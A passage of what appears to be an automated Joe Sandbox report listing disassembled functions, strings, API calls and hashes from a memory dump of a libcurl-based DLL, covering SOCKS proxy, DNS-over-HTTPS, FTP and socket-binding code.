SOCKS5 response.$Unable to send initial SOCKS5 request.$Undocumented SOCKS5 mode attempted to be used by server.$User was rejected by the SOCKS5 server (%d %d).$connection to proxy closed$unknown$warning: unsupported value passed to CURLOPT_SOCKS5_AUTH: %lu
API String ID: 2260702874-704893380
Opcode ID: 0851273c1541cd4f14c99f572d6e0348699a05097cadfa74c9acab4f8c678770
Instruction ID: 5bcd9b2f627002fd029f5d6b3e9b39333978a6e68e534618973b2db79b604ce2
Opcode Fuzzy Hash: 0851273c1541cd4f14c99f572d6e0348699a05097cadfa74c9acab4f8c678770
Instruction Fuzzy Hash: 79621CB1A042189BDB11CF28DD817FEB7BAEF45304F0040EEE85D97241DB3A9A56CB61

Function 6B6C39A0 Relevance: 37.1, APIs: 13, Strings: 8, Instructions: 395networkCOMMON

Download Yara Rule

APIs

curl_pushheader_bynum.LIBCURL(?,?,?,?,?,00000100,?,?,?,?,?,?,?,?,?,?), ref: 6B6C3AC2
inet_pton.WS2_32(00000017,?,?), ref: 6B6C3BA2
htons.WS2_32(?), ref: 6B6C3BB9
inet_pton.WS2_32(00000002,?,?), ref: 6B6C3CED
htons.WS2_32(?), ref: 6B6C3D08

Part of subcall function 6B6F06B0: curl_mvsnprintf.LIBCURL(?,00000801,00000000,$lnk), ref: 6B6F06EF
Part of subcall function 6B6F06B0: curl_msnprintf.LIBCURL(?,00000004,...,?,?,?,00000E20), ref: 6B6F072F

bind.WS2_32(?,?,00000000), ref: 6B6C3DAF
htons.WS2_32(?), ref: 6B6C3DE9
bind.WS2_32(?,?,00000000), ref: 6B6C3E02
getsockname.WS2_32(?,?,00000080), ref: 6B6C3E3D
WSAGetLastError.WS2_32 ref: 6B6C3E4B
WSAGetLastError.WS2_32 ref: 6B6C3E91

Strings

Name '%s' family %i resolved to '%s' family %i, xrefs: 6B6C3C90
Couldn't bind to interface '%s', xrefs: 6B6C3BE4
Bind to local port %hu failed, trying next, xrefs: 6B6C3DD9
Local Interface %s is ip %s using address family %i, xrefs: 6B6C3B78
bind failed with errno %d: %s, xrefs: 6B6C3EB3
Local port: %hu, xrefs: 6B6C3EDB
getsockname() failed with errno %d: %s, xrefs: 6B6C3E6D
Couldn't bind to '%s', xrefs: 6B6C3D26

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: htons$ErrorLastbindinet_pton$curl_msnprintfcurl_mvsnprintfcurl_pushheader_bynumgetsockname
String ID: Bind to local port %hu failed, trying next$Couldn't bind to '%s'$Couldn't bind to interface '%s'$Local Interface %s is ip %s using address family %i$Local port: %hu$Name '%s' family %i resolved to '%s' family %i$bind failed with errno %d: %s$getsockname() failed with errno %d: %s
API String ID: 2165106075-2769131373
Opcode ID: 12a3e8f1ad1751b7cab029b7c2e9e8b92530792cad9b6f586087a5ba117c7658
Instruction ID: e794cad269dd7a117160360431eada0313b59a455868a1be38a47efcfdc64174
Opcode Fuzzy Hash: 12a3e8f1ad1751b7cab029b7c2e9e8b92530792cad9b6f586087a5ba117c7658
Instruction Fuzzy Hash: 0EE1B3B5A012199BDB20DF64DD89BEA77B8EF05304F0040EAF90DD7241EB39AE458F61

Function 6B6F6F40 Relevance: 33.8, APIs: 1, Strings: 18, Instructions: 550COMMON

Download Yara Rule

Strings

Failed to resolve "%s" for SOCKS4 connect., xrefs: 6B6F71FD
SOCKS4 connect to IPv4 %s (locally resolved), xrefs: 6B6F7188
Too long SOCKS proxy user name, can't use!, xrefs: 6B6F70C9
SOCKS4 non-blocking resolve of %s, xrefs: 6B6F7064
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown., xrefs: 6B6F756A
connection to proxy closed, xrefs: 6B6F73BA
SOCKS4: too long host name, xrefs: 6B6F72F5
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed., xrefs: 6B6F7495
SOCKS4: Failed receiving connect request ack: %s, xrefs: 6B6F7392
SOCKS4 connection to %s not supported, xrefs: 6B6F71D6
SOCKS4 reply has wrong version, version should be 0., xrefs: 6B6F7403
Hostname '%s' was found, xrefs: 6B6F7113
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client., xrefs: 6B6F74DC
SOCKS4%s: connecting to HTTP proxy %s port %d, xrefs: 6B6F6FF6
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids., xrefs: 6B6F7523
Failed to send SOCKS4 connect request., xrefs: 6B6F72D1
SOCKS4%s request granted., xrefs: 6B6F744B
SOCKS4 communication to %s:%d, xrefs: 6B6F700A

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: curl_mvsnprintf
String ID: Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed.$Failed to resolve "%s" for SOCKS4 connect.$Failed to send SOCKS4 connect request.$Hostname '%s' was found$SOCKS4 communication to %s:%d$SOCKS4 connect to IPv4 %s (locally resolved)$SOCKS4 connection to %s not supported$SOCKS4 non-blocking resolve of %s$SOCKS4 reply has wrong version, version should be 0.$SOCKS4%s request granted.$SOCKS4%s: connecting to HTTP proxy %s port %d$SOCKS4: Failed receiving connect request ack: %s$SOCKS4: too long host name$Too long SOCKS proxy user name, can't use!$connection to proxy closed
API String ID: 3418963191-1991471026
Opcode ID: 786f8fb77a13ea1b695f09e6208dab12a6fff2882cc3fca62778f48e9d966526
Instruction ID: 9096bc81674050eaca7e689cea88c8682e698069041d2766327ddfd9c0a66994
Opcode Fuzzy Hash: 786f8fb77a13ea1b695f09e6208dab12a6fff2882cc3fca62778f48e9d966526
Instruction Fuzzy Hash: E41217F1A042049FCB14CFB8DD51BBEFBFAEF05305F0441AAE85996242DB39A515C760

Function 6B6FAE50 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 164libraryloadernetworkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 6B6FAE75
WSACleanup.WS2_32 ref: 6B6FAE90
GetModuleHandleA.KERNEL32(kernel32,?,?), ref: 6B6FAEBF
GetProcAddress.KERNEL32(00000000,LoadLibraryExA), ref: 6B6FAEDD
_strpbrk.LIBCMT ref: 6B6FAEEF
LoadLibraryA.KERNEL32(iphlpapi.dll,?,?), ref: 6B6FAF16
GetProcAddress.KERNEL32(00000000,AddDllDirectory), ref: 6B6FAF2D
GetSystemDirectoryA.KERNEL32(00000000,00000000), ref: 6B6FAF50
GetSystemDirectoryA.KERNEL32(00000000,?), ref: 6B6FAF7E
LoadLibraryA.KERNEL32(00000000,?,?,?), ref: 6B6FAFDB
GetProcAddress.KERNEL32(00000000,if_nametoindex), ref: 6B6FAFFE
QueryPerformanceFrequency.KERNEL32(6B743B50,?,?,?,?,?,?), ref: 6B6FB033

Strings

LoadLibraryExA, xrefs: 6B6FAED7
kernel32, xrefs: 6B6FAEB8
if_nametoindex, xrefs: 6B6FAFF8
AddDllDirectory, xrefs: 6B6FAF27
iphlpapi.dll, xrefs: 6B6FAEE8, 6B6FAF03, 6B6FAF11, 6B6FAF3E, 6B6FAFB0

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem$CleanupFrequencyHandleModulePerformanceQueryStartup_strpbrk
String ID: AddDllDirectory$LoadLibraryExA$if_nametoindex$iphlpapi.dll$kernel32
API String ID: 945793807-2794540096
Opcode ID: 05f5a9f6e1f095acee6433a99aab204b21edb6e52ce850cdd5785cef7184d55d
Instruction ID: 8ae5416b59fa3e211b098ec454640750bab9d3beaff626a5e4687944ad08c32c
Opcode Fuzzy Hash: 05f5a9f6e1f095acee6433a99aab204b21edb6e52ce850cdd5785cef7184d55d
Instruction Fuzzy Hash: 1A5129F0644301ABEB215B348D49B697BBAAF46706F0401BAFC19DB281EF38D506C760

Function 6B700A40 Relevance: 26.7, APIs: 5, Strings: 10, Instructions: 455COMMON

Download Yara Rule

Strings

file://%s%s%s, xrefs: 6B700CA6
\Gsk, xrefs: 6B700E93
https, xrefs: 6B700CEB, 6B700CF3
%ld, xrefs: 6B700B38, 6B700D13
\Gsk, xrefs: 6B700C9A
%s://%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s, xrefs: 6B700EE2
xGsk, xrefs: 6B700DFF
|Gsk, xrefs: 6B700ECA
%%25%s], xrefs: 6B700DBA
file, xrefs: 6B700C79

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID:
String ID: %%25%s]$%ld$%s://%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s$\Gsk$\Gsk$file$file://%s%s%s$https$xGsk$|Gsk
API String ID: 0-2459243475
Opcode ID: a8bae3327f0e5e0eabdcc4c1c02c4b8792e74fdb543cdc34658b00a737c5eaca
Instruction ID: 3512b7a50305e18d46f8f63b57b450c5f0229c3f5023495bae985f4f4ed7abe0
Opcode Fuzzy Hash: a8bae3327f0e5e0eabdcc4c1c02c4b8792e74fdb543cdc34658b00a737c5eaca
Instruction Fuzzy Hash: BFF1A0B5A007099FDB10CF68DA41BAEB7F5EF49364F1005BAF859A7341DB39E9048B60

Function 6B6EDCD0 Relevance: 26.7, APIs: 4, Strings: 11, Instructions: 417COMMON

Download Yara Rule

APIs

curl_multi_remove_handle.LIBCURL(?,?,?,00000000,00000000), ref: 6B6EDD78

Part of subcall function 6B6F05D0: curl_mvsnprintf.LIBCURL(?,00000100,6B6EC830,?), ref: 6B6F0610

Strings

DOH AAAA: , xrefs: 6B6EDF27
CNAME: %s, xrefs: 6B6EDFEF
AAAA, xrefs: 6B6EDE5B
Could not DOH-resolve: %s, xrefs: 6B6EDD20
%s%02x%02x, xrefs: 6B6EDF6C
%s, xrefs: 6B6EDFAE
DOH: %s type %s for %s, xrefs: 6B6EDE6A
TTL: %u seconds, xrefs: 6B6EDEC6
DOH Host name: %s, xrefs: 6B6EDEB5
bad error code, xrefs: 6B6EDE49, 6B6EDE69
DOH A: %u.%u.%u.%u, xrefs: 6B6EDF0B

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: curl_multi_remove_handlecurl_mvsnprintf
String ID: %s$%s%02x%02x$AAAA$CNAME: %s$Could not DOH-resolve: %s$DOH A: %u.%u.%u.%u$DOH AAAA: $DOH Host name: %s$DOH: %s type %s for %s$TTL: %u seconds$bad error code
API String ID: 262101408-4053692942
Opcode ID: 5aae89d186fbf36c942eab2da256307b33a60fe750e3575ea4f7b5cf74bcf671
Instruction ID: 3d11e017dda9add74c8a7b0c58634891638ec00970f3aeba082570bf7c5ba258
Opcode Fuzzy Hash: 5aae89d186fbf36c942eab2da256307b33a60fe750e3575ea4f7b5cf74bcf671
Instruction Fuzzy Hash: E3F1B1B1D052249FDB60DF24DD89BAAB7B5FF48304F0041E9E84CA7242D7399A85CFA0

Function 6B6CF950 Relevance: 14.3, Strings: 11, Instructions: 519COMMON

Download Yara Rule

Strings

AUTH %s, xrefs: 6B6CFB13, 6B6CFBA1
We got a 421 - timeout!, xrefs: 6B6CF9F9
Failed to clear the command channel (CCC), xrefs: 6B6CFD8F
ACCT rejected by server: %03d, xrefs: 6B6CFC4A
unsupported parameter to CURLOPT_FTPSSLAUTH: %d, xrefs: 6B6CFB47
Failed to figure out path, xrefs: 6B6CFF81
Entry path is '%s', xrefs: 6B6CFEE0, 6B6CFF32
CCC, xrefs: 6B6CFD07
Got a %03d ftp-server response when 220 was expected, xrefs: 6B6CFA91
SYST, xrefs: 6B6CFE91
PROT %c, xrefs: 6B6CFCA8

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID:
String ID: ACCT rejected by server: %03d$AUTH %s$CCC$Entry path is '%s'$Failed to clear the command channel (CCC)$Failed to figure out path$Got a %03d ftp-server response when 220 was expected$PROT %c$SYST$We got a 421 - timeout!$unsupported parameter to CURLOPT_FTPSSLAUTH: %d
API String ID: 0-547999808
Opcode ID: 1158be31bdce744142fbb21f64ca311a0eff4e9e2c2f2003d7667a22779bf379
Instruction ID: fcf7acb120d80077dd698adde6a83fbf0ee3d70c0b92f1fd4e85401d0f2062dd
Opcode Fuzzy Hash: 1158be31bdce744142fbb21f64ca311a0eff4e9e2c2f2003d7667a22779bf379
Instruction Fuzzy Hash: 6FF1C6B5B042089FDB10CF68D9517AEB3B6EF85355F1400FAEC0E9B241DB3A5D498B92

Function 6B6C7730 Relevance: 12.9, Strings: 10, Instructions: 382COMMON

Download Yara Rule

Strings

digit, xrefs: 6B6C77BA
alnum, xrefs: 6B6C780D
alpha, xrefs: 6B6C785E
xdigit, xrefs: 6B6C78AF
space, xrefs: 6B6C79A9
print, xrefs: 6B6C7900
lower, xrefs: 6B6C7A9C
upper, xrefs: 6B6C7A4B
blank, xrefs: 6B6C79FA
graph, xrefs: 6B6C7951

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID:
String ID: alnum$alpha$blank$digit$graph$lower$print$space$upper$xdigit
API String ID: 0-2602438971
Opcode ID: 9da292128bdf1f6f0f78e51cee7a0d49396de729ecff6fd0256d08fe11dbca0d
Instruction ID: 72e7ae88d6ab146e83086ea1f3ebcab48ccc21e350f49a79644fba9db28f075a
Opcode Fuzzy Hash: 9da292128bdf1f6f0f78e51cee7a0d49396de729ecff6fd0256d08fe11dbca0d
Instruction Fuzzy Hash: 18C1E6A5B081894AC701CF7895A27FB7BB7DF56358F5804F6CD89CB242D71B9A08C362

Function 6B6E20A0 Relevance: 10.6, APIs: 7, Instructions: 60encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 6B6E20C3
CryptCreateHash.ADVAPI32(00000000,00008002,00000000,00000000,00000000), ref: 6B6E20DD
CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 6B6E20F7
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 6B6E2111
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000010,00000000), ref: 6B6E212B
CryptDestroyHash.ADVAPI32(00000000), ref: 6B6E2139
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 6B6E2149

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: Crypt$Hash$ContextParam$AcquireCreateDataDestroyRelease
String ID:
API String ID: 3606780921-0
Opcode ID: ab4ce5ab3a573c874fdc8a40144d007cc3e2ec959679d3156f8fd09d72ba6dd5
Instruction ID: 18900d38ac3835e403104506a22de39b726c8fd40a397f200c66bba99e4f7eee
Opcode Fuzzy Hash: ab4ce5ab3a573c874fdc8a40144d007cc3e2ec959679d3156f8fd09d72ba6dd5
Instruction Fuzzy Hash: 3D113DB0A40208BBEF259F90CC4AF9DBB79EB04700F1040A1FB24B52D0E775EA14DB24

Function 6B6C8010 Relevance: 9.1, APIs: 6, Instructions: 118encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000040,?), ref: 6B6C803A
CryptImportKey.ADVAPI32(?,00000208,00000014,00000000,00000000,?,?,?), ref: 6B6C80E9
CryptReleaseContext.ADVAPI32(?,00000000,?), ref: 6B6C80F8
CryptEncrypt.ADVAPI32(?,00000000,00000000,00000000,?,00000008,00000008,?), ref: 6B6C812D
CryptDestroyKey.ADVAPI32(?), ref: 6B6C8136
CryptReleaseContext.ADVAPI32(?,00000000), ref: 6B6C8141

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: Crypt$Context$Release$AcquireDestroyEncryptImport
String ID:
API String ID: 3016261861-0
Opcode ID: 0020c5583678ffd3404c566d7c9c5e7ff228c3bc430c1e24a89818b7f065051e
Instruction ID: aac61e13626ea0f6fa1940d2fa77cc250f76d1e7f15308ddffd26fe35683c066
Opcode Fuzzy Hash: 0020c5583678ffd3404c566d7c9c5e7ff228c3bc430c1e24a89818b7f065051e
Instruction Fuzzy Hash: 3A41A375900249AFEF11CFA8C846BEEBFB5EF0A300F105095E568A7391C736650ADB64

Function 6B6EA790 Relevance: 8.0, Strings: 6, Instructions: 501COMMON

Download Yara Rule

Strings

%02d:%02d:%02d%n, xrefs: 6B6EA9AC
GMT, xrefs: 6B6EA927, 6B6EA936
%02d:%02d%n, xrefs: 6B6EA9D9
<, xrefs: 6B6EAC18
%31[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz], xrefs: 6B6EA837
+, xrefs: 6B6EAAA8

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID:
String ID: %02d:%02d%n$%02d:%02d:%02d%n$%31[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]$+$<$GMT
API String ID: 0-3646017816
Opcode ID: 429b91fdd419502b35a504d224c9d41e38c4ea9ee3f2652259d051b29ac787f8
Instruction ID: 1b0cf32be73d20fa7e4097a1af603cff6f033e9a57823b1b81e42cba55e77ed2
Opcode Fuzzy Hash: 429b91fdd419502b35a504d224c9d41e38c4ea9ee3f2652259d051b29ac787f8
Instruction Fuzzy Hash: CA02F9B1E092088BCF14CEBCD9516DDB7F5EF89324F15426AE865EB380D7389946CB60

Function 6B71EFE1 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 6B71F0D9
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 6B71F0E3
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 6B71F0F0

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 95e6e4e6bf6e9dcf939aef62f639f73767ed7d4f03781e81ac6033709e2173a4
Instruction ID: 6357dd15aeb52e2d21e61428f24c5a7ba447dfde627bc604629960ee3331b7f6
Opcode Fuzzy Hash: 95e6e4e6bf6e9dcf939aef62f639f73767ed7d4f03781e81ac6033709e2173a4
Instruction Fuzzy Hash: BE31C4B4D1122CABCB21DF24D98978DBBB8BF08350F5041EAE41CA7250EB749B818F54

Function 6B71C43E Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,6B71C43D,?,00000000,?,?,?,6B7184AA), ref: 6B71C460
TerminateProcess.KERNEL32(00000000,?,6B71C43D,?,00000000,?,?,?,6B7184AA), ref: 6B71C467
ExitProcess.KERNEL32 ref: 6B71C479

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: a95981a45a2e144d5eeef537dee17a106eeaebdc9ca1efac5325add2e394c187
Instruction ID: e8e41defbfa57797fa72f31f45212b55c8ee94993f6df0f30535d2606b219001
Opcode Fuzzy Hash: a95981a45a2e144d5eeef537dee17a106eeaebdc9ca1efac5325add2e394c187
Instruction Fuzzy Hash: CCE0B631008518ABCF126BB4CA49B583F69EB45A42F044435F8299A221CB3AEA81DB91

Function 6B6E1170 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 218COMMON

Download Yara Rule

APIs

curl_msnprintf.LIBCURL(?,00000005,%lx,00000000,?,?), ref: 6B6E12F9

Strings

%lx, xrefs: 6B6E12F1

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: curl_msnprintf
String ID: %lx
API String ID: 1809024409-1448181948
Opcode ID: fb7dbffea133987ec30d85e886217b9b9669895e63f08295dcf0a4643fe414c7
Instruction ID: 0453edfff91e37bcc1c1ff1a9c9fdb6a448a22a0f51975910e2dd0f3418ae672
Opcode Fuzzy Hash: fb7dbffea133987ec30d85e886217b9b9669895e63f08295dcf0a4643fe414c7
Instruction Fuzzy Hash: DE71F771E092658BCB108F7CC8806ADB7A1BF86324F154365D469DB6C4E7389A8BD790

Function 6B71BCF0 Relevance: 1.8, APIs: 1, Instructions: 274COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?), ref: 6B71BF1D

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: e620e693ebe2c8108b102de0b05d56739ef17b88e88012beb3197f39db4b69cb
Instruction ID: 46e9043261ea8ee1d35cca9b16dde04b6608e39066e8d7ed1da32512167d1067
Opcode Fuzzy Hash: e620e693ebe2c8108b102de0b05d56739ef17b88e88012beb3197f39db4b69cb
Instruction Fuzzy Hash: 34B114356146088FD705CF28C586B597BE0FF45364F2986A8F9A9CF3A1C339E992CB50

Function 6B71FBD1 Relevance: 1.3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6B71FBD7, 6B71FBE1

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

